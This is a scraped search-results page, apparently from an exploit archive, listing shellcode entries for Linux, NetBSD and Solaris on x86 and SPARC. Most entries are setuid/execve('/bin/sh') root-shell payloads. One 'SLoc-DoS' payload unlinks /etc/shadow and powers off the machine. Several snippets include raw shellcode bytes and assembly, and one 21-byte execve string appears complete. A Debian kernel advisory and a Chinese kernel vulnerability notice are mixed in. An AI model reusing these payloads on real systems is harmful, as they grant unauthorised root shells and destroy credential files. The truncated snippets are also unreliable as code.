1143 matches found
linux/x86 setuid(0) ^ execve("/bin/sh", 0, 0) shellcode 27 bytes
Exploit for linux/x86 platform in category shellcode ================================================================ linux/x86 setuid0 ^ execve"/bin/sh", 0, 0 shellcode 27 bytes ================================================================...
27 bytes setreuid(0, 0) & execve("/bin/sh") shellcode
No description provided by source. Title: 27 bytes setreuid0, 0 & execve"/bin/sh" shellcode EDB-ID: 12357 CVE-ID: OSVDB-ID: Author: Magnefikko Published: 2010-04-23 Verified: no Download Exploit Code Download N/A view source print? include stdio.h include string.h / ?by Magnefikko ?22.04.2010...
linux/x86 setuid(0) + execve("/bin/sh",...) Shellcode 29 bytes
Exploit for linux/x86 platform in category shellcode ============================================================== linux/x86 setuid0 + execve"/bin/sh",... Shellcode 29 bytes ============================================================== / 29 byte-long setuid0 + execve"/bin/sh",... shellcode by...
linux/x86 setreuid(0, 0) & execve("/bin/sh") shellcode 27 bytes
Exploit for linux/x86 platform in category shellcode =============================================================== linux/x86 setreuid0, 0 & execve"/bin/sh" shellcode 27 bytes =============================================================== include include / by Magnefikko 22.04.2010 email protect...
linux/x86 setreud(getuid(), getuid()) & execve("/bin/sh") 34 bytes
Exploit for linux/x86 platform in category shellcode ============================================================================ linux/x86 setreudgetuid, getuid & execve"/bin/sh" shellcode 34 bytes ============================================================================ include include / by...
setreudgetuid, getuid & execve"/bin/sh" Shellcode 34 bytes
34 bytes setreudgetuid, getuid & execve"/bin/sh" Shellcode. Shellcode exploit for linx86 platform include include / by Magnefikko 14.04.2010 [email protected] promhyl.oz.pl Subgroup: PRekambr Name: 34 bytes setreudgetuid, getuid & execve"/bin/sh" shellcode Platform: Linux x86 setreuidgetuid,...
linux/x86 execve("a->/bin/sh") Local-only Shellcode 14 Bytes
Exploit for linux/x86 platform in category shellcode ============================================================ linux/x86 execve"a-/bin/sh" Local-only Shellcode 14 Bytes ============================================================ include include / by Magnefikko 17.04.2010 email protected Promh...
execve"/bin/sh" shellcode 25 bytes
25 bytes execve"/bin/sh" shellcode. Shellcode exploit for linux platform include include / by Magnefikko 14.04.2010 [email protected] promhyl.oz.pl Subgroup: PRekambr Name: 25 bytes execve"/bin/sh" shellcode Platform: Linux x86 execve"/bin/sh", 0, 0; gcc -Wl,-z,execstack filename.c shellcode:...
linux/x86 - SLoc-DoS shellcode 55 bytes
Exploit for linux/x86 platform in category shellcode ======================================= linux/x86 - SLoc-DoS shellcode 55 bytes ======================================= include include / by Magnefikko 14.04.2010 email protected Promhyl Studies :: http://promhyl.oz.pl Subgroup: PRekambr Name: ...
linux/x86 - execve("/bin/sh") shellcode 25 bytes
Exploit for linux/x86 platform in category shellcode ================================================ linux/x86 - execve"/bin/sh" shellcode 25 bytes ================================================ include include / by Magnefikko 14.04.2010 email protected promhyl.oz.pl Subgroup: PRekambr Name: 2...
SLoc-DoS shellcode 55 bytes
55 bytes SLoc-DoS shellcode by Magnefikko. Shellcode exploit for linux platform include include / by Magnefikko 14.04.2010 [email protected] Promhyl Studies :: http://promhyl.oz.pl Subgroup: PRekambr Name: 55 bytes SLoc-DoS shellcode Platform: Linux x86 unlink"/etc/shadow"; execve"poweroff", 0...
Linux x86 - execve /bin/sh - 21 bytes
Linux x86 - execve /bin/sh - 21 bytes. Shellcode exploit for linx86 platform / execve /bin/sh - x86/linux - 21 bytes . zeroed argv / envp [email protected] [email protected] thanks : ivan, milo, oldschool crew / int main char sc = "\x6a\x0b" // push byte +0xb "\x58" //...
Debian DSA-1872-1 : linux-2.6 - denial of service/privilege escalation/information leak
Several vulnerabilities have been discovered in the Linux kernel that may lead to denial of service, privilege escalation or a leak of sensitive memory. The Common Vulnerabilities and Exposures project identifies the following problems : - CVE-2009-2698 Herbert Xu discovered an issue in the way U...
Linux x86 - /bin/sh 8 bytes
Linux x86 - /bin/sh 8 bytes. Shellcode exploit for linx86 platform / 08048334 : 8048334: 99 cltd 8048335: 6a 0b push $0xb 8048337: 58 pop %eax 8048338: 60 pusha 8048339: 59 pop %ecx 804833a: cd 80 int $0x80 using this code. step1. This code is compiled. step2. strace -x output binary step3. get...
linux/x86 - /bin/sh 8 bytes
Exploit for linux/x86 platform in category shellcode =========================== linux/x86 - /bin/sh 8 bytes =========================== / 08048334 : 8048334: 99 cltd 8048335: 6a 0b push $0xb 8048337: 58 pop %eax 8048338: 60 pusha 8048339: 59 pop %ecx 804833a: cd 80 int $0x80 using this code...
Linux Kernel 64位Personality处理本地拒绝服务漏洞
BUGTRAQ ID: 38027 Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel在设置进程的personality时存在错误，本地用户在执行缺少ELF解释器的64位应用时可能触发分段错误，导致内核崩溃。 漏洞起因是fs/binfmtelf.c文件中的loadelfbinary函数，该函数在检查ELF解释器可用之前调用了 SETPERSONALITY，将之前的32位进程转换为了64位进程。如果execve成功，这不会导致问题，但在...
netbsd/x86 setreuid(0 0)
No description provided by source. / minervini at neuralnoise dot com c 2005 NetBSD/i386 2.0, setreuid0, 0; execve"/bin//sh", ..., NULL; note: unsafe shellcode, but 29 bytes long; doesn't work if eax & 0x40000000 != 0; / include sys/types.h include stdio.h include string.h char scode = "\x99" //...
linux/x86 execve(""/bin/ash"" 0 0)
No description provided by source. / 21 byte execve"/bin/ash",0,0; shellcode for linux x86 by zasta zasta at darkircop.org / include unistd.h include stdio.h char shellcode = "\x31\xc9\xf7\xe1\x04\x0b\x52\x68" "\x2f\x61\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\xcd\x80"; void code asm" xor %ecx,%ecx...
solaris/x86 setuid(0) execve(//bin/sh)
No description provided by source. / ; sm4x 2008 ; setuid0, execve'/bin/sh', '/bin/sh', 0, ; 39 bytes NizzULL free you know... ; SunOS sol01 5.11 snv86 i86pc i386 i86pc Solaris ; quick port to drop root sh - ; - SunOS is pwnij global start start: xor eax, eax ; --- setuid0 push eax push eax mov a...
solaris/sparc executes command after setreuid
No description provided by source. / bunkersparcexec.c V1.0 - Sat Oct 21 17:45:27 CEST 2006 Solaris/sparc bytecode that executes command after setreuid 92 bytes + cmd setreuid0, 0 + execve"/bin/sh", "/bin/sh","-c","cmd", NULL; bunker - http://rawlab.mindcreations.com 37F1 A7A1 BB94 89DB A920 3105...